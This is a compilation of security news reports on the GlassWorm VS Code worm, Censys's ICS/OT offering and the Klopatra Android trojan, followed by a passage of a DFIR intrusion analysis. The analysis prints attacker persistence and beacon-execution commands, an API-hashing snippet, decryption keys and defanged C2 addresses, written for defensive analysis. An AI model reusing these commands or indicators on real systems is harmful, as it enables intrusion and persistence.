hijacked. codejoy.codejoy-vscode-extension 1.8.3 and 1.8.4 l-igh-t.vscode-theme-seti-folder 1.2.3 kleinesfilmroellchen.serenity-dsl-syntaxhighlight 0.3.2 JScearcy.rust-doc-viewer 4.2.1 SIRILMP.dark-theme-sm 3.11.4 CodeInKlingon.git-worktree-menu 1.0.9 and 1.0.91 ginfuru.better-nunjucks 0.3.2 ellacrity.recoil 0.7.4 grrrck.positron-plus-1-e 0.0.71 jeronimoekerdt.color-picker-universal 2.8.91 srcery-colors.srcery-colors 0.3.9 sissel.shopify-liquid 4.0.1 TretinV3.forts-api-extention 0.3.1 cline-ai-main.cline-ai-agent 3.1.3 (Microsoft Extension Marketplace) The malicious code concealed within the extensions is designed to search for transactions associated with an attacker-controlled wallet on the Solana blockchain, and if found, it proceeds to extract a Base64-encoded string from the memo field that decodes to the C2 server ("217.69.3[.]218" or "199.247.10[.]166") used for retrieving the next-stage payload. The payload is an information stealer that captures credentials, authentication tokens, and cryptocurrency wallet data, and reaches out to a Google Calendar event to parse another Base64-encoded string and contact the same server to obtain a payload codenamed Zombi. The data is exfiltrated to a remote endpoint ("140.82.52[.]31:80") managed by the threat actor. Written in JavaScript, the Zombi module essentially turns a GlassWorm infection into a full-fledged compromise by dropping a SOCKS proxy, WebRTC modules for peer-to-peer communication, BitTorrent's Distributed Hash Table (DHT) for decentralized command distribution, and HVNC for remote control. The problem is compounded by the fact that VS Code extensions are configured to auto-update, allowing the threat actors to push the malicious code automatically without requiring any user interaction. "This isn't a one-off supply chain attack," Dardikman said. "It's a worm designed to spread through the developer ecosystem like wildfire." "Attackers have figured out how to make supply chain malware self-sustaining. They're not just compromising individual packages anymore – they're building worms that can spread autonomously through the entire software development ecosystem." The development comes as the use of blockchain for staging malicious payloads has witnessed a surge due to its pseudonymity and flexibility, with even threat actors from North Korea leveraging the technique to orchestrate their espionage and financially motivated campaigns.
thehackernews.comOct 24, 2025extracted
Supply Chain Attack Targets VS Code Extensions With ‘GlassWorm’ Malware
Visual Studio developers are targeted with a self-propagating worm in a sophisticated supply chain attack through the OpenVSX marketplace, Koi Security reports. Dubbed GlassWorm, the malware was designed to steal sensitive information from the victims’ machines, including NPM, GitHub, and Git credentials, and to drain funds from 49 cryptocurrency extensions. Additionally, it deploys SOCKS proxy servers on the infected machines, installs hidden VNC servers to provide attackers with remote access to systems, and spreads itself by compromising packages and extensions using the stolen credentials. What makes the worm stand out, Koi Security notes, is its use of Unicode variation selectors, which do not produce visual output, hiding the code in code editors to make it invisible to the human eye. “To a developer doing code review, it looks like blank lines or whitespace. To static analysis tools scanning for suspicious code, it looks like nothing at all. But to the JavaScript interpreter? It’s executable code,” Koi explains. GlassWorm uses the Solana blockchain for command-and-control (C&C) infrastructure: it searches the blockchain for specific transactions that contain in their memo field instructions regarding the location of the next-stage payload. This ensures that the infrastructure is not disrupted, as these transactions cannot be modified or deleted from the blockchain, and provides the attackers with anonymity. Furthermore, the attackers can easily change the payload or its location by simply publishing a new transaction for the malware to read. “You’re playing whack-a-mole with an opponent who has infinite moles. This isn’t some theoretical attack vector. This is a real-world, production-ready C&C infrastructure that’s actively serving malware right now. And there’s literally no way to take it down,” Koi notes. Additionally, the malware uses Google Calendar as a backup C&C, from which it fetches another payload to turn the infected systems into nodes in the attacker’s infrastructure, by deploying a SOCKS proxy server, WebRTC modules for peer-to-peer communication, and hidden VNC for remote control. According to Koi, the attack started on October 17, when seven VS Code extensions on OpenVSX were compromised. Given the malware’s self-propagating capabilities, additional extensions were compromised after the infected packages were installed by users. On October 18, after two of the initially compromised developers published clean versions of their packages, Koi was seeing 10 extensions still delivering the malware. Another one was identified the next day, in Microsoft’s VS Code marketplace. “The attacker’s C&C infrastructure is fully operational – payload servers are responding, and stolen credentials are being used to compromise additional packages,” Koi warned over the weekend. According to Koi, the infected extensions have been installed over 35,800 times. Given that VS Code extensions auto-update, the compromised packages infected all developers that had them installed, without user interaction. Related: GitHub Boosting Security in Response to NPM Supply Chain Attacks Related: Shai-Hulud Supply Chain Attack: Worm Used to Steal Secrets, 180+ NPM Packages Hit Related: Highly Popular NPM Packages Poisoned in New Supply Chain Attack Related: Over 6,700 Private Repositories Made Public in Nx Supply Chain Attack
securityweek.comOct 21, 2025extracted
Self-spreading GlassWorm malware hits OpenVSX, VS Code registries
A new and ongoing supply-chain attack is targeting developers on the OpenVSX and Microsoft Visual Studio marketplaces with self-spreading malware called GlassWorm that has been installed an estimated 35,800 times. The malware hides its malicious code by using invisible characters. It can also spread itself using stolen account information to infect more extensions the victim can access. GlassWorm operators use Solana blockchain for command-and-control, making takedown very difficult, with Google Calendar as backup option. Microsoft Visual Studio and the OpenVSX platforms host extensions and integrations for Visual Studio products and are constant targets of threat actors looking to steal cryptocurrency [1, 2, 3]. Researchers at endpoint security provider Koi found that the current GlassWorm campaign relies on "invisible Unicode characters that make malicious code literally disappear from code editors." Once installed, the malware attempts to steal credentials for GitHub, npm, and OpenVSX accounts, as well as cryptocurrency wallet data from 49 extensions. Additionally, GlassWorm deploys a SOCKS proxy to route malicious traffic through the victim’s machine and installs VNC clients (HVNC) for invisible remote access. The worm has a hardcoded wallet with transactions on the Solana blockchain that provide base64-encoded links for the next-stage payloads. According to the researchers, the final payload is called ZOMBI and is a "massively obfuscated JavaScript" code that turns infected systems into nodes for the cybercriminal activities. "GlassWorm's final stage - the ZOMBI module - transforms every infected developer workstation into a node in a criminal infrastructure network," Koi Security says. Using the blockchain to hide payloads is a method that has been gaining traction due to the multiple operational benefits it offers, including resilience to takedowns, anonymity, low cost, and flexibility for updates. A backup method for sourcing payloads involves a Google Calendar event title that includes a base64-encoded URL. A third delivery mechanism uses direct connection to the IP address 217.69.3[.]218. For further evasion and resilience, the malware uses BitTorrent’s Distributed Hash Table (DHT) for decentralized command distribution. Researchers found at least eleven extensions infected by GlassWorm on OpenVSX and one on Microsoft’s VS Code Marketplace: [email protected] and 1.8.4 [email protected] [email protected] [email protected] [email protected] [email protected] and 1.0.91 [email protected] [email protected] [email protected] [email protected] [email protected] [email protected] (Microsoft VS Code) The researchers say that seven extensions on OpenVSX were compromised on October 17 and more infections followed over the next couple of days on both OpenVSX and VS Code. Koi Security notes that the full impact is 35,800 active GlassWorm installations. "Here's what makes this particularly urgent: VS Code extensions auto-update. When CodeJoy pushed version 1.8.3 with invisible malware, everyone with CodeJoy installed got automatically updated to the infected version. No user interaction. No warning. Just silent, automatic infection," the researchers say. At publishing time, at least four of the compromised extensions Koi Security found, were still available for download on OpenVSX. Microsoft has removed the malicious extension frrom its marketplace following the researchers' alert. The publishers of vscode-theme-seti-folder and git-worktree-menu have updated the extensions to remove the malicious code. Last month, a similar worm-style attack dubbed “Shai-Hulud” hit the npm ecosystem, compromising 187 packages. The malware used the TruffleHog scanning tool to identify secrets, passwords, and sensitive keys. Koi Security says that GlassWorm "is one of the most sophisticated supply chain attack" and the first documented case of a worm-like attack on VS Code. The C2 and payload servers in the GlassWorm campaign remain active, the researchers warn. On Saturday, there were still ten extensions actively distributing the malware. Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report
bleepingcomputer.comOct 20, 2025extracted
Censys ICS/OT solution closes visibility gaps and secures exposed industrial systems
Censys ICS/OT solution closes visibility gaps and secures exposed industrial systems Censys announced the release of a new ICS/OT Internet intelligence offering designed to close the visibility gap defenders face when securing exposed industrial assets. From energy and manufacturing to defense and utilities, organizations across industries face growing risks as IT and OT networks converge. Adversaries have long used automated tools to identify ICS/OT assets at scale, while defenders were left with blind spots, inconsistent data, and little ability to validate ownership or context. The result: critical assets often remain exposed for months, creating high-value entry points into industrial environments. Censys’s new ICS/OT intelligence offering closes this gap, bringing the same level of Internet-scale visibility to defenders that attackers already exploit. It combines protocol-aware scanning, vendor-level fingerprinting, and rich contextual data into a unified, easy-to-query resource that supports exposure validation, threat hunting, and compliance workflows. Technical capabilities Protocol and vendor coverage: 26 ICS/OT protocols (Modbus, DNP3, Siemens S7, BACnet, and more), 68 vendors, and 226 unique ICS fingerprints. HMI contextual intelligence: Automatic screen captures from CMORE, RedLion, X11, VNC, and RDP with content analysis to support investigations and asset validation. Evidence for exposure hunting: Sole-source screenshots and enriched metadata, eliminating ambiguity in asset identification. Analyst-centric design: Queryable via UI and API, with SIEM/SOAR integration and geographic or vendor-level filtering. This launch builds on Censys’ proven track record working with U.S. government partners. In collaboration with the EPA, Censys helped secure hundreds of exposed water sector HMIs, a project that demonstrated how enriched ICS intelligence could translate directly into reduced real-world risk. “Censys’ mission has always been to bring clarity and visibility to the world’s most critical digital risks. Our work with the EPA to identify and secure exposed water sector HMIs proved just how essential Internet-scale visibility is for protecting critical infrastructure,” said Raj Sivasankar, senior director of product at Censys, “The new Censys ICS/OT offering builds directly on that mission — giving defenders the same level of actionable insight that adversaries already exploit at scale.” “Industrial control systems are high-value targets for cyber actors,” said Laura Galante, former director of the U.S. Cyber Threat Intelligence Integration Center, “You can’t defend what you can’t see, and Censys is providing critical infrastructure operators visibility into their exposed assets. Censys’ focus on operational technology is strengthening the resilience of our most vital systems.”
helpnetsecurity.comOct 17, 2025extracted
Android malware uses VNC to give attackers hands-on access
A new Android banking and remote access trojan (RAT) dubbed Klopatra disguised as an IPTV and VPN app has infected more than 3,000 devices across Europe. Klopatra is described as a powerful trojan that can monitor the screen in real time, capture input, simulate gesture navigation, and features a hidden Virtual Network Computing (VNC) mode. Researchers at cybersecurity company Cleafy say that the new trojan does not appear to be connected to any documented Android malware families and appears to be the project of a Turkish-speaking cybercrime group. Klopatra was developed to steal banking credentials via overlay attacks, exfiltrate clipboard content and keystrokes, drain accounts over VNC, and collect cryptocurrency wallet app info. A stealthy, evasive threat The malware infiltrates victims’ devices through a dropper app called “Modpro IP TV + VPN,” which is distributed outside of the official Google Play platform for Android. Klopatra integrates Virbox, a commercial-grade code protector that obstructs reverse-engineering and analysis, uses native libraries to reduce its Java/Kotlin footprint, and also NP Manager string encryption in recent builds. Cleafy reports that the malware features several anti-debugging mechanisms, runtime integrity checks, and emulator detection capabilities, to ensure it’s not running in an analysis environment. Klopatra abuses Android’s Accessibility service to grant itself additional permissions, capture user inputs, simulate taps and gestures, and monitor the victim’s screen for passwords and other sensitive information. One key feature is a black-screen VNC mode that allows operators to perform actions on the infected device while it appears idle (with a locked screen) to the victim. This mode supports all the required remote actions for performing manual bank transactions, like simulating taps on defined screen coordinates, swiping up/down, and long-pressing. The malware checks if the device is charging or if the screen is off to determine the ideal moment to activate this mode without the user realizing it. To avoid detection, Klopatra also contains a hardcoded list of package names corresponding to popular Android antivirus products, and attempts to uninstall them. Operator exposure Based on language artifacts and notes about development and monetization, Cleafy researchers believe that Klopatra is operated by a Turkish threat actor. The researchers exposed multiple command and control (C2) points that appear connected to two campaigns, which count 3,000 unique infections. Although the operators of the malware use Cloudflare to hide their digital tracks, a misconfiguration exposed origin IP addresses, which allowed linking the C2 servers to the same provider. Since March 2025, when Klopatra first appeared in the wild, there have been 40 distinct builds, a sign of active development and quick evolution for the new Android trojan. Android users are advised to avoid downloading APK files from obscure websites, reject Accessibility Service permission requests, and keep Play Protect active on their device. Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report
bleepingcomputer.comOct 1, 2025extracted
New Android Banking Trojan “Klopatra” Uses Hidden VNC to Control Infected Smartphones
A previously undocumented Android banking trojan called Klopatra has compromised over 3,000 devices, with a majority of the infections reported in Spain and Italy. Italian fraud prevention firm Cleafy, which discovered the sophisticated malware and remote access trojan (RAT) in late August 2025, said it leverages Hidden Virtual Network Computing (VNC) for remote control of infected devices and dynamic overlays for facilitating credential theft, ultimately enabling fraudulent transactions. "Klopatra represents a significant evolution in mobile malware sophistication," security researchers Federico Valentini, Alessandro Strino, Simone Mattia, and Michele Roviello said. "It combines extensive use of native libraries with the integration of Virbox, a commercial-grade code protection suite, making it exceptionally difficult to detect and analyze." Evidence gathered from the malware's command-and-control (C2) infrastructure and linguistic clues in the associated artifacts suggests that it is being operated by a Turkish-speaking criminal group as a private botnet, given the absence of a public malware-as-a-service (MaaS) offering. As many as 40 distinct builds have been discovered since March 2025. Attack chains distributing Klopatra employ social engineering lures to trick victims into downloading dropper apps that masquerade as seemingly harmless tools, such as IPTV applications, allowing the threat actors to bypass security defences and completely take control of their mobile devices. Offering the ability to access high-quality TV channels as a lure is a deliberate choice, as pirated streaming applications are popular among users, who are often willing to install such apps from untrusted sources, thus unwittingly infecting their phones in the process. The dropper app, once installed, requests the user to grant it permissions to install packages from unknown sources. Upon obtaining this permission, the dropper extracts and installs the main Klopatra payload from a JSON Packer embedded within it. The banking trojan is no different from other malware of its kind, seeking permission to Android's accessibility services to realize its goals. While accessibility services is a legitimate framework designed to assist users with disabilities to interact with the Android device, it can be a potent weapon in the hands of bad actors, who can abuse it to read contents of the screen, record keystrokes, and perform actions on behalf of the user to conduct fraudulent transactions in an autonomous manner. "What elevates Klopatra above the typical mobile threat is its advanced architecture, built for stealth and resilience," Cleafy said. "The malware authors have integrated Virbox, a commercial-grade code protection tool rarely seen in the Android threat landscape. This, combined with a strategic shift of core functionalities from Java to native libraries, creates a formidable defensive layer." "This design choice drastically reduces its visibility to traditional analysis frameworks and security solutions, applying extensive code obfuscation, anti-debugging mechanisms, and runtime integrity checks to hinder analysis." Besides incorporating features to maximize evasion, resilience, and operational effectiveness, the malware provides operators with granular, real-time control over the infected device using VNC features that are capable of serving a black screen to conceal the malicious activity, such as executing banking transactions without their knowledge. Klopatra also uses the accessibility services to grant itself additional permissions as required to prevent the malware from being terminated, and attempts to uninstall any hard-coded antivirus apps already installed on the device. Furthermore, it can launch fake overlay login screens atop financial and cryptocurrency apps to siphon credentials. These overlays are delivered dynamically from the C2 server when the victim opens one of the targeted apps. It's said the human operator actively engages in fraud attempts over what's described as a "carefully orchestrated sequence" that involves first checking if the device is charging, the screen is off, and is currently not being actively used. If these conditions are met, a command is issued to reduce the screen brightness to zero and display a black overlay, giving the impression to the victim that the device is inactive and off. In the background, however, the threat actors use the device PIN or pattern previously stolen to gain unauthorized access, launch the targeted banking app, and drain the funds through multiple instant bank transfers. The findings show that although Klopatra doesn't try to reinvent the wheel, it poses a serious threat to the financial sector owing to a technically advanced assemblage of features to obfuscate its true nature. "Klopatra marks a significant step in the professionalization of mobile malware, demonstrating a clear trend of threat actors adopting commercial-grade protections to maximize the lifespan and profitability of their operations," the company said. "The operators show a clear preference for conducting their attacks during the night. This timing is strategic: the victim is likely asleep, and their device is often left charging, ensuring it remains powered on and connected. This provides the perfect window for the attacker to operate undetected." The development comes a day after ThreatFabric flagged a previously undocumented Android banking trojan called Datzbro that can conduct device takeover (DTO) attacks and perform fraudulent transactions by preying on the elderly. Update Following the publication of the story, a Google spokesperson told The Hacker News that it has not found any apps containing the malware on Google Play, and that Android users are safeguarded by Google Play Protect. "Based on our current detection, no apps containing this malware are found on Google Play," the company said. "Android users are automatically protected against known versions of this malware by Google Play Protect, which is on by default on Android devices with Google Play Services. Google Play Protect can warn users or block apps known to exhibit malicious behavior, even when those apps come from sources outside of Play." (The story was updated after publication to include a response from Google.)
thehackernews.comOct 1, 2025extracted
New Android RAT Klopatra Targets Financial Data
A previously unknown Android Remote Access Trojan (RAT) has been identified by security researchers, marking a significant advancement in the evolution of mobile banking threats. The malware, named “Klopatra,” was uncovered by Cleafy’s Threat Intelligence team in late August 2025 and is already being used in large-scale campaigns targeting financial institutions in Europe. Unlike most mobile malware, Klopatra employs commercial-grade protection techniques rarely seen in Android attacks. Its developers integrated Virbox, a professional software protection suite, and shifted much of its functionality from Java to native code. This combination creates substantial obstacles for analysts, allowing the malware to evade detection and resist reverse engineering. At its core, Klopatra is a sophisticated banking Trojan. It enables attackers to seize control of infected devices using Hidden VNC for remote operations, dynamic overlays to steal credentials and abuse of Accessibility Services to execute transactions without the victim’s awareness. Campaigns, Operators and Risks Two primary botnets have been linked to Klopatra so far. Together, they have compromised more than 3000 devices, with most victims located in Spain and Italy. Researchers observed tailored targeting of major banking apps in these regions, confirming a focus on financial fraud. Analysis also points strongly toward a Turkish-speaking criminal group. Linguistic traces in the malware’s code, field names in command-and-control (C2) infrastructure and even direct operator notes left in server logs all suggest a cohesive team managing development and monetization. Klopatra’s activity since March 2025 shows an unusually fast development cycle, Cleafy said, with over 40 distinct builds recorded. Early versions lacked many of the capabilities seen today, but recent updates demonstrate a layered defense strategy that includes string encryption and advanced permission abuse. The malware has already been tied to real-world fraud attempts. Operators often strike at night while victims’ devices are charging and unattended. They use stolen unlock patterns or PINs to access banking apps, transferring funds under the cover of a blacked-out screen that convinces the user the phone is off. Advanced Mobile Malware Klopatra highlights a growing trend of mobile malware adopting techniques once reserved for desktop threats. By investing in commercial protection tools and agile updates, its operators ensure the malware remains both effective and resilient. Security experts warn that Klopatra may serve as a model for future threats, raising the stakes for financial institutions. “This is not an experiment but a fully operational fraud tool,” Cleafy warned. “For financial institutions and anti-fraud teams, the emergence of Klopatra underscores the need for threat detection solutions that go beyond static analysis and focus on device-level behavioral monitoring. For the threat intelligence community, continuous monitoring of this group and its infrastructure will be essential to anticipate their next moves and protect users from this evolving threat.”
infosecurity-magazine.comSep 30, 2025extracted
From a Single Click: How Lunar Spider Enabled a Near Two-Month Intrusion
Key Takeaways The intrusion began with a Lunar Spider linked JavaScript file disguised as a tax form that downloaded and executed Brute Ratel via a MSI installer. Multiple types of malware were deployed across the intrusion, including Latrodectus, Brute Ratel C4, Cobalt Strike, BackConnect, and a custom .NET backdoor. Credentials were harvested from several sources like LSASS, backup software, and browsers, and also a Windows Answer file used for automated provisioning. Twenty days into the intrusion data was exfiltrated using Rclone and FTP. Threat actor activity persisted for nearly two months with intermittent command and control (C2) connections, discovery, lateral movement, and data exfiltration. This case was featured in our September 2025 DFIR Labs Forensics Challenge and is available as a lab today here for one time access or included in our new subscription plan. It was originally published as a Threat Brief to customers in Feb 2025 The DFIR Report Services Private Threat Briefs: 20+ private DFIR reports annually. Threat Feed: Focuses on tracking Command and Control frameworks like Cobalt Strike, Metasploit, Sliver, etc. All Intel: Includes everything from Private Threat Briefs and Threat Feed, plus private events, Threat Actor Insights reports, long-term tracking, data clustering, and other curated intel. Private Sigma Ruleset: Features 170+ Sigma rules derived from 50+ cases, mapped to ATT&CK with test examples. DFIR Labs: Offers cloud-based, hands-on learning experiences, using real data, from real intrusions. Interactive labs are available with different difficulty levels and can be accessed on-demand, accommodating various learning speeds. Contact us today for pricing or a demo! Table of Contents: The intrusion took place in May 2024, when a user executed a malicious JavaScript file. This JavaScript file has been previously reported as associated with the Lunar Spider initial access group by EclecticIQ. The heavily obfuscated file, masquerading as a legitimate tax form, contained only a small amount of executable code dispersed among extensive filler content used for evasion. The JavaScript payload triggered the download of a MSI package, which deployed a Brute Ratel DLL file using rundll32. The Brute Ratel loader subsequently injected Latrodectus malware into the explorer.exe process, and established command and control communications with multiple CloudFlare-proxied domains. The Latrodectus payload was then observed retrieving a stealer module. Around one hour after initial access, the threat actor began reconnaissance activities using built-in Windows commands for host and domain enumeration, including ipconfig, systeminfo, nltest, and whoami commands. Approximately six hours after initial access, the threat actor established a BackConnect session, and initiated VNC-based remote access capabilities. This allowed them to browse the file system and upload additional malware to the beachhead host. On day three, the threat actor discovered and accessed an unattend.xml Windows Answer file containing plaintext domain administrator credentials left over from an automated deployment process. This provided the threat actor with immediate high-privilege access to the domain environment. On day four, the threat actor expanded their activity by deploying Cobalt Strike beacons. They escalated privileges using Windows’ Secondary Logon service and the runas command to authenticate as the domain admin account found the prior day. The threat actor then conducted extensive Active Directory reconnaissance using AdFind. Around an hour after this discovery activity they began lateral movement. They used PsExec to remotely deploy Cobalt Strike DLL beacons to several remote hosts including a domain controller as well as file and backup servers. They then paused for around five hours. On their return, they deployed a custom .NET backdoor that created a scheduled task for persistence and setup an additional command and control channel. They also dropped another Cobalt Strike beacon that had a new command and control server. They then used a custom tool that used the Zerologon (CVE-2020-1472) vulnerability to attempt additional lateral movement to a second domain controller. After that they then tried to execute Metasploit laterally to that domain contoller via a remote service. However they were unable to establish a command and control channel from this action. On day five, the threat actor returned using RDP to access a new server that they then dropped the newest Cobalt Strike beacon on. This was then followed by an RDP logon to a file share server where they also deployed Cobalt Strike. Around 12 hours after that they returned to the beachhead host and replaced the BruteRatel file used for persistence with a new BruteRatel badger DLL. After this there was a large gap before their next actions. Fifteen days later, the 20th since initial access, the threat actor became active again. They deployed a set of scripts to execute a renamed rclone binary to exfiltrate the data from the file share server. This exfiltration used FTP to send data over a roughly 10 hour period to the threat actor’s remote host. After this concluded there was another pause in threat actor actions. On the 26th day of the intrusion the threat actor returned to the backup server and used a PowerShell script to dump credentials from the backup server software. Two days later on the backup server they appeared again and dropped a network scanning tool, rustscan, which they used to scan subnets across the environment. After this hands on activity ceased again. The threat actor maintained intermittent command and control access for nearly two months following initial compromise, leveraging BackConnect VNC capabilities and multiple payloads, including Latrodectus, Brute Ratel, and Cobalt Strike, before being evicted from the environment. Despite the extended dwell time and comprehensive access to critical infrastructure, no ransomware deployment was observed during this intrusion. If you would like to get an email when we publish a new report, please subscribe here. Analysis and reporting completed by @RussianPanda9xx, Christos Fotopoulos, Salem Salem, reviewed by @svch0st. The infection began with the execution of a Latrodectus JavaScript file, Form_W-9_Ver-i40_53b043910-86g91352u7972-6495q3.js, first reported on X by @Cryptolaemus1 in the following post: The malware was first uploaded to VirusTotal on May 9, 2024, prior to Operation Endgame. This operation occurred between May 27 and 29, 2024, during which law enforcement dismantled multiple botnets, including Latrodectus. After the take down of the botnet, Latrodectus reappeared in June 2024, using tax-themed phishing campaigns as its initial access mechanism that dropped Latrodectus version 1.3 along with Brute Ratel, according to this article by Trustwave. Although our sample was from May and its file name was related to a W-9 tax form, it was version 1.3 of the malware and additionally it utilized Brute Ratel. Based on that, we believe it to be an early version of the campaign that was used later in June. This report from Rapid7, also from June 2024, shows a malicious ad as the initial access used to lure a victim to download the malicious Javascript file. Given the similarity of that report and our initial malware behavior we assess that this we likely the same method used for our case as well. The heavily obfuscated JS file contained multiple lines starting with //, which included filler text. After further analyzing the file, a deobfuscation workflow was identified, executing all the lines of code starting with ////. Deobfuscating the Latrodectus malware, uncovered that it performed an HTTP request to the URL hxxp://91.194.11[.]64/MSI.msi to install the next stage, thus triggering the Suricata rule from Emerging Threats ET POLICY Observed MSI Download. Static analysis of the MSI package revealed that upfilles.dll was embedded within the compressed disk1.cab archive. The MSI installer utilized a custom action to execute the DLL via the legitimate Windows binary rundll32.exe, specifically invoking the exported function stow to initiate malicious execution. Brute Ratel On day one, the loader upfilles.dll began execution on the beachhead host by resolving three APIs (VirtualAlloc, LoadLibraryA, GetProcessAddress) via the following hashing algorithm: for char in api_name: char_byte = ord(char) # Converts to lowercase, adds current hash temp = (char_byte | 0x60) + hash_value # Double for position-dependent hash hash_value = 2 * temp return hash_value Then it decrypted the intermediary Brute Ratel payload via an XOR decryption algorithm using the embedded key: 21 79 3C 7A 39 5F 3E 24 54 4A 7A 35 6C 33 3E 32 5F 66 74 76 6D 59 3C 4D 00 The shellcode above then decrypted the BRC4 badger via the RC4 key 71 24 70 2C 7D 70 61 3F. Below are the decrypted Brute Ratel C4 (BRC4) C2s and RC4 key to decrypt the gathered information on the infected system that is sent to the C2. The subsequent YARA rule triggered during a scan of the process memory for Brute Ratel: On day five, the threat actor deployed a new Brute Ratel DLL through the established BackConnect session: rundll32 wscadminui.dll, wsca The wscadminui.dll file serves as the Brute Ratel badger payload, maintaining the same obfuscation patterns established by the upfilles.dll loader. Decryption of the intermediary BRC4 payload is achieved through XOR operations using the embedded key sequence 75 36 58 33 64 4F 61 3F 4B 59 23 42 77 42 6F 41 39 6D 6E 4E 5E 46 56 47 66 41 00. Latrodectus After executing, Brute Ratel deployed Latrodectus malware through process injection into explorer.exe leveraging CreateRemoteThread API. Latrodectus, a downloader first identified by Proofpoint researchers in November 2023, is attributed to the same threat actors responsible for developing IcedID. Approximately six hours later, the process running Latrodectus established a connection to 193.168.143[.]196 on the beachhead host, which we suspect to have been a BackConnect C2 server. BackConnect is a post-compromise module that was initially deployed by IcedID, allowing threat actors to leverage infected systems for remote access through VNC modules. Multiple security researchers, such as Elastic Security Labs, hypothesize that Latrodectus is a potential successor to IcedID, due to code reuse and behavioral similarities, including the use of the same commands in the Discover flag. An hour after this traffic started, the following command was executed to switch to UTF-8 encoding: cmd.exe /K chcp 65001 && c: && cd c:\ This command was previously observed in Keyhole, a multi-functional VNC/BackConnect component used by IcedID, and prior cases involving IcedID infection. A few minutes later, Latrodectus spawned DLLHost.exe to likely inject the BackConnect payload with PROCESS_ALL_ACCESS (0x1fffff) access rights. The granted access rights provide full control over the target process, enabling memory manipulation, thread creation, and DLL injection capabilities. lsassa.exe Backdoor On day four, the threat actor deployed and executed a binary named lsassa.exe via BackConnect on the beachhead host. The lsassa.exe file was a .NET backdoor that contained an encrypted payload embedded in an assembly resource file named lsassa&&. Inside this resource, a small header was present declaring which protections were used (encryption and/or compression). If encryption is used, it either uses a key embedded in the file or derives one from the assembly’s public key token, then decrypts the payload. If compression is enabled, the code decompresses the decrypted data before loading it. The backdoor implemented a persistent command and control system that establishes covert communication between an infected machine and a remote threat actor controlled server while creating a scheduled task for persistence. Upon initialization, the backdoor establishes a timer-based polling mechanism that triggers every 250 seconds to maintain regular contact with the C2 infrastructure and uses extracted obfuscated strings to construct the command. In our case, the threat actor leveraged the backdoor to create a scheduled task on the beachhead host with the command: "cmd.exe" /c schtasks /create /tn "SchedulerLsass" /tr "%ALLUSERSPROFILE%\USOShared\lsassa.exe" /sc onstart During each communication cycle, the backdoor collects basic system reconnaissance data, including the username and machine name of the infected host, then transmits it to a remote server endpoint. The server C2 (hxxps://cloudmeri.com/comm[.]php) was obfuscated and embedded within the resource file name lsassa$ from the decrypted resource file lsassa&&. After successfully transmitting the victim data, the backdoor waits for a server response containing executable commands. When commands are received from the remote server, the backdoor validates that the response content is not empty and executes the payload through the Windows command interpreter. The execution occurs by spawning a new cmd.exe process with the UseShellExecute flag disabled and CreateNoWindow enabled to maintain stealth, while redirecting standard output and error streams to capture results. The backdoor includes a special termination command that allows the remote operator to exit the backdoor by calling Environment.Exit when a specific response string is received. The backdoor conceals its strings in an encrypted resource and only reveals them at runtime. The extraction function first reads a length value to determine how many bytes to pull, then converts those bytes into readable text using Unicode encoding. Cobalt Strike Several Cobalt Strike beacons were utilized over the course of the intrusion. The first was observed on day four, where the cron801.dl_ file was dropped on the beachhead host under C:\ProgramData from the injected explorer.exe process containing Latrodectus and was then executed twice by leveraging BackConnect. rundll32 cron801.dl_,lvQkzdrFdILT The outbound connection was established with the Cobalt Strike server at hxxp://45.129.199[.]214/vodeo/wg01ck01. Shortly after, the Cobalt Strike beacon spawned from rundll32.exe was injected into sihost.exe process. Analysis of network traffic revealed a JSON response containing minified Vuetify v3.0.3 JavaScript served by the Cobalt Strike C2 server. This discovery led to the identification of additional potentially related C2 servers using Virustotal searches for similar characteristics (JSON response content or the URL path /vodeo/): hxxp[://]94[.]232[.]40[.]49/vodeo/wg01ck01 hxxps[://]techbulldigital[.]com/Apply/readme/VJICARU60DC?_WHBEXNIA=HNMIIIANEMPMLIDFEOPKLBDOEMPI hxxp[://]techbulldigital[.]com/List/com2/9O29EO3IRSBB hxxp[://]filomeruginfor[.]com/christian/house/cwk01 hxxp[://]filomeruginfor[.]com/deolefor/wg01ck01m hxxps[://]wehelpgood[.]xyz/Complete/v9[.]56/KT84GVGD135E hxxps[://]wehelpgood[.]xyz/derive/n/nzoqjd9mme hxxp[://]94[.]232[.]249[.]186/vodeo/vid_wg01ck01 hxxp[://]94[.]232[.]249[.]186/vodeo/wg01ck01 Later the cron801.dl_ file was renamed system.dl_ and deployed to several hosts, this is covered further in the Lateral Movement section Later on the same day, after the execution of the lsassa.exe backdoor, the threat actor dropped sys.dll. This was another Cobalt Strike stager containing shellcode that exhibits similarities to the payload documented in this report, via the BackConnect session on the beachhead host. The threat actor executed it via BackConnect with the command: rundll32 %ALLUSERSPROFILE%\sys.dll,StartUp471 The Cobalt Strike implant initiated outbound communication to 206.206.123[.]209:443 (avtechupdate[.]com) before injecting itself into the sihost.exe process. After the attempted UAC bypass, the Cobalt Strike stager was executed in memory with the C2 pointing to resources.avtechupdate[.]com/samlss/vm.ico. Shortly after, the sihost.exe process (containing an injected Cobalt Strike beacon) used RUNAS execution to create a new process (“gpupdate.exe”) running as the “Domain Admin” account, as described in the Privilege Escalation section. Subsequently, the compromised sihost.exe process, containing an injected Cobalt Strike beacon, leveraged the RUNAS command to spawn a new gpupdate.exe process under the domain admin account. The gpupdate.exe process then injected a Cobalt Strike beacon into the spoolsv.exe process space. Both spoolsv.exe and gpupdate.exe processes were observed creating named pipes consistent with Cobalt Strike communication patterns. The following day the sys.dll Cobalt Strike beacon was executed on two additional servers after connections to those hosts were made via RDP. Registry Run Key Persistence was first established after initial access on day one via a Registry Run key. This was achieved via the rundll32.exe process that created a Run key, with an innocuous name of Update, which would execute the Brute Ratel badger, upfilles.dll, if the system was restarted. The Run key was updated multiple times during the intrusion to point to wscadminui.dll in place of upfilles.dll. We could not determine why the actor re-applied the same change on several occasions. Scheduled Tasks In addition to the Run key the threat actor created a scheduled task on the fourth day of the intrusion on the beachhead host. The scheduled task was created by lsassa.exe which has been explained in further detail in the Execution section. Runas The threat actor activated Windows’ Secondary Logon service to enable the runas command – a built-in Windows feature that allows running programs under different user credentials. By calling this service, they were able to authenticate as the domain admin account found in the unattend.xml file and escalate their privileges from a regular user to full administrative control over the network The Windows authentication log shows successful privilege escalation from a low-privileged user to a domain administrator 